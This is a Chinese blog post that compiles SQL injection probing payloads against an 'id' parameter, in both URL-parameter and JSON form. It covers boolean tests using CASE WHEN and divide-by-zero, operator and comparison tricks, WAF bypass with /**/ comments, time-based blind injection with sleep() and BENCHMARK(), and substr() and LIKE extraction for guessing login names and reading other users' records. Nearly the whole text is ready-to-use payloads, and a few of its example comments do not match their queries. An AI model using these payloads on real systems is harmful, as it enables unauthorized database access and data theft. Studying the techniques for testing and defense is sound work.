首页 > 数据库 >SQL注入探测语句汇总

SQL注入探测语句汇总

时间:2023-03-03 11:25:31浏览次数:36  
标签:语句 回显 tb 汇总 user SQL where id select

首先是我学习到的一些好用的探测语句:

假设场景是post参数里传递了一个参数:&id=1&,这种情况就可以使用下面十分好用的探测语句:

方法一:CASE WHEN...THEN...ELSE...END的使用

尝试语句格式:id=-1 ||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END) &

  当json格式传参时尝试:{"name":"test","id":"-1'||(CASE WHEN 1 LIke 1 THEN 1 ELSE 1/0 END)||'","address":"北京"}//正常

select * from tb_user where id=-1||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END);//正常
select * from tb_user where id=-1||(CASE WHEN 1 like 2 THEN 1 ELSE 1/0 END);//不正常

当-1 ||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END) 被带入查询的时候,就如果该语句正常返回id为1的信息,则说明存在注入。WHEN  Like 2 为异常查询,前面为假,后面也为假,故查不到信息。

 

然后进一步探测的话就是使用Like进行模糊匹配,比如'ad%'匹配登录的用户名是否是admin,是的话后面为真,能正常响应结果。不是的话就查不到信息。

尝试语句格式:&id=-1||(CASE WHEN loginName like 'ad%' THEN 1 ELSE 1/0 END)&
当json格式传参时尝试:{"name":"test","id":"-1'||(CASE WHEN 1 LIke 'ad%' THEN 1 ELSE 1/0 END)||'","address":"北京"}//正常
select * from tb_user where id=-1||(CASE WHEN loginName like 'ad%' THEN 1 ELSE 1/0 END);//正常
select * from tb_user where id=-1||(CASE WHEN loginName like 'd%' THEN 1 ELSE 1/0 END);//不正常

 

 

方法二:另一种除的回显方式

尝试语句格式:&id=-1||1/1&正常
select * from tb_user where id=-1||1/0;//不正常
select * from tb_user where id=-1||1/1;//正常

 

 

方法三:另一种=的回显方式


尝试语句格式:&id=-1||1=1&//正常
select * from tb_user where id=-1||1=1;//正常
select * from tb_user where id=-1||1=2;//不正常

 

 

方法四:另一种-号的回显方式


尝试语句格式:&id=-1||1=1&//正常
select * from tb_user where id=-1||1-2;//正常
select * from tb_user where id=-1||1-1;//不正常

 

方法五:另一种*号的回显方式

尝试语句格式:&id=-1||1*1&//正常
select * from tb_user where id=-1||1*1;//正常
select * from tb_user where id=-1||1*0;//不正常

 

方法六:另一种||的等价替换方式,如果空格被waf拦截就尝试使用我文章中绕waf的其他方法进行空格的替换操作

尝试语句格式:&id=-1 OR 1=1&//正常 
select * from tb_user where id=-1 OR 1=1;//正常 select * from tb_user where id=-1 OR 1=2;//不正常
select * from tb_user  where id=-1/**/OR/**/1=1;//正常

 

 

方法七:sleep()函数的使用,时间的盲注

尝试的语句格式:&id=1 aND sleep(1);//正常回显,时间较长
select * from tb_user where id=1 aND sleep(1);//正常回显,时间较长 select * from tb_user where id=1 aND sleep(0.001);//正常回显,时间较慢

 

 

 方法八:sleep()的等价函数使用,时间盲注

尝试构造语句:&id=-1 || BENCHMARK(10000,md5('a'))&//响应时间正常
&id=-1 || BENCHMARK(10000000,md5('a'))&//响应时间明显变长一些
select * from tb_user  where id=-1 || BENCHMARK(10000,md5('a'));//响应时间正常
select * from tb_user  where id=-1 || BENCHMARK(10000000,md5('a'));//响应时间明显变长

 

 

 

方法九:利用比较属性判断注入

尝试语句格式:&id=-1||'1a'=1&//回显正常
&id=-1||'2a'=1&//回显不正常
select * from tb_user  where id=-1||'1a'=1;
select * from tb_user  where id=-1||'2a'=1;

 

方法十:substr()函数的使用

substr()函数的使用,substr函数为从第几位开始截取,取几位,以下payload的意思是从1开始取1位,后面为真,所以回显正常


以下的"可以改成任意格式的:比如之前sql注入天书里的:' " ) ") ') } "} "") ] "]等
尝试语句格式:&id="-1"||(substr((select 1),1,1)=1)&//回显正常
select * from tb_user  where id="-1"||(substr((select 1),1,1)=1);
select * from tb_user  where id="-1"||(substr((select 1),1,1)=2);

 

同理,||符号可替换为&符号进行使用,只要掌握了,&前真后面也为真就正常返回,前假后面就不会再执行这个原理即可;然后||的话是前真后面就不会再执行,前假再执行后面的语句;


以下的"可以改成任意格式的:比如之前sql注入天书里的:' " ) ") ') } "} "") ] "]等
尝试语句格式:&id="-1"&(substr((select 1),1,1)=1)&//回显正常
select * from tb_user  where id="-1"&(substr((select 1),1,1)=1);//回显正常
select * from tb_user  where id="-1"&(substr((select 1),1,1)=2);//回显不正常

 

以下的"可以改成任意格式的:比如之前sql注入天书里的:' " ) ") ') } "} "") ] "]等
尝试语句格式:&id="-1"&&(substr((select 1),1,1)=1)&//回显正常
select * from tb_user  where id="-1"&&(substr((select 1),1,1)=1);//回显正常
select * from tb_user  where id="-1"&&(substr((select 1),1,1)=2);//回显不正常

 

然后连接符可以改为:= >< <> 等格式:

select * from tb_user  where id=1=(substr((select 1),1,1)=1);
select * from tb_user  where id=1=(substr((select 1),1,1)=2);

 

(1)因为查询的结果=1:
尝试语句格式:&id=1=(substr((select 1),1,1)=2)&//回显正常
尝试语句格式:&id=1<(substr((select 1),1,1)=2)&//回显异常
尝试语句格式:&id=1>(substr((select 1),1,1)=1)&//回显正常
select * from tb_user  where id=1=(substr((select 1),1,1)=1);//回显正常
select * from tb_user  where id=1>(substr((select 1),1,1)=1);//回显异常
select * from tb_user  where id=1<(substr((select 1),1,1)=1);//回显异常

(2)因为查询的结果肯定是大于2这个数的: 尝试语句格式:&id=1>(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1<(substr((select 1),1,1)=2)&//回显异常 select * from tb_user where id=1>(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1<(substr((select 1),1,1)=2);//回显异常 (3)因为查询的结果肯定是不等于1的,为2的时候就回显正常: 尝试语句格式:&id=1<>(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1<>(substr((select 1),1,1)=1)&//回显异常 select * from tb_user where id=1<>(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1<>(substr((select 1),1,1)=1);//回显异常 (4)因为查询的结果前面为真,所以相当于结果是1,如果后面的结果为0,那就会正常返回,不为0的话相当于是1+1查不到2这个id,就会报错,回显不正常, 如果存在2这个id,就会正常回显2的信息,这也算是一个越权查询了 尝试语句格式:&id=1+(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1+(substr((select 1),1,1)=1)&//回显异常,存在id=2时会回显正常,并查询出2的结果 select * from tb_user where id=1+(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1+(substr((select 1),1,1)=1);//回显异常 (5)因为查询的结果前面为真,所以相当于结果是1,如果后面的结果为0,那就会正常返回,不为0的话相当于是1-1查不到0这个id,就会报错,回显不正常, 同理还有-: 尝试语句格式:&id=1-(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1-(substr((select 1),1,1)=1)&//回显异常,存在id为0时将回显正常 select * from tb_user where id=1-(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1-(substr((select 1),1,1)=1);//回显异常 (6)类似的还有*的操作: 尝试语句格式:&id=1*(substr((select 1),1,1)=1)&//回显正常 尝试语句格式:&id=1*(substr((select 1),1,1)=2)&//回显异常,存在id为0时将回显正常 select * from tb_user where id=1*(substr((select 1),1,1)=1);//回显正常 select * from tb_user where id=1*(substr((select 1),1,1)=2);//回显异常 (7)类似的还有/的操作: 尝试语句格式:&id=1/(substr((select 1),1,1)=1)&//回显正常 尝试语句格式:&id=1/(substr((select 1),1,1)=2)&//回显异常,不能1/0 select * from tb_user where id=1/(substr((select 1),1,1)=1);//回显正常 select * from tb_user where id=1/(substr((select 1),1,1)=2);//回显异常
(8)类似的还有^的操作:(异或运算),1异或0就是1,1异或1是0: 尝试语句格式:&id=1^(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1^(substr((select 1),1,1)=1)&//回显异常 select * from tb_user where id=1^(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1^(substr((select 1),1,1)=1);//回显异常

 

 

 

 

 

 

越权查询id为2的信息:

 

 

 

 

 

 

 

 

标签:语句,回显,tb,汇总,user,SQL,where,id,select
From: https://www.cnblogs.com/cute-puli/p/17171006.html

相关文章

  • 泛微OA-SQL主从表 报表方式显示
    SELECT(CASEWHENROW_NUMBER()OVER(PARTITIONBYa.requestidORDERBYb.LOGID)=1THENa.requestidELSE''END)AS"请求ID",(CASEWHENROW_NUMBER()OV......
  • PostgreSQL技术大讲堂 - Part 8:PG对象权限管理
     PostgreSQL从小白到专家,是从入门逐渐能力提升的一个系列教程,内容包括对PG基础的认知、包括安装使用、包括角色权限、包括维护管理、、等内容,希望对热爱PG、学习PG的同......
  • MySQL安装
    MySQL安装SQLSQL语言是一种对数据库、数据进行操作、管理、查询的工具MySQL安装官网下载将MySQLServer(版本)\bin的地址配置到系统变量->Path中cmd登陆测试:MyS......
  • Linux内核面试题汇总
    [暂无答案]1.硬件中断号和Linux内核的IRQ号它们是如何映射的?2.当发生硬件中断之后,ARM64处理器架构做哪些工作?3.为什么说中断上下文不能执行睡眠操作?4.一个硬件中断后,Linux......
  • 移动端测试用例设计汇总
    作为移动互联网产品『最后一公里的守护者』,我们必须要清楚的知道自己该做什么、怎么做。但从版本迭代速度、需求量级、测试人员不断变动等方面综合来看,我们很多人都没......
  • 经典 SQL 数据库笔试题及答案整理!
    最近,有蛮多小伙伴在跳槽找工作,但对于年限稍短的软件测试工程师,难免会需要进行笔试,而在笔试中,基本都会碰到一道关于数据库的大题,今天这篇文章呢,就收录了下最近学员反馈上来......
  • springboot jpa hibernate mysql clickhouse 多数据源
    ClickhouseConfig.java@Configuration@EntityScan(basePackages="test.entity.clickhouse")@EnableJpaRepositories(basePackages="test.repository.clic......
  • mysql连接数
    MySQL最大连接数的默认值是100,这个数值对于并发连接很多的数据库的应用是远不够用的,当连接请求大于默认连接数后,就会出现无法连接数据库的错误,因此我们需要把它适当调大......
  • mysql查询近几天的数据;
    代码: SELECT ANY_VALUE(a.click_date)ASclick_date, IFNULL(b.wmzs,0)ASwmzs FROM ( SELECT @s:=@s+1AS`index`, DATE_FORMAT(DATE_SUB(CURDATE(),INT......
  • mapper.xml文件的sql没有提示
    右边的数据库都已配置好了,包括时区GMT,connection测试也可以,但是写select语句就是不提示,字是黑。  解决方法:https://www.cnblogs.com/jpfss/p/11051015.html 写完......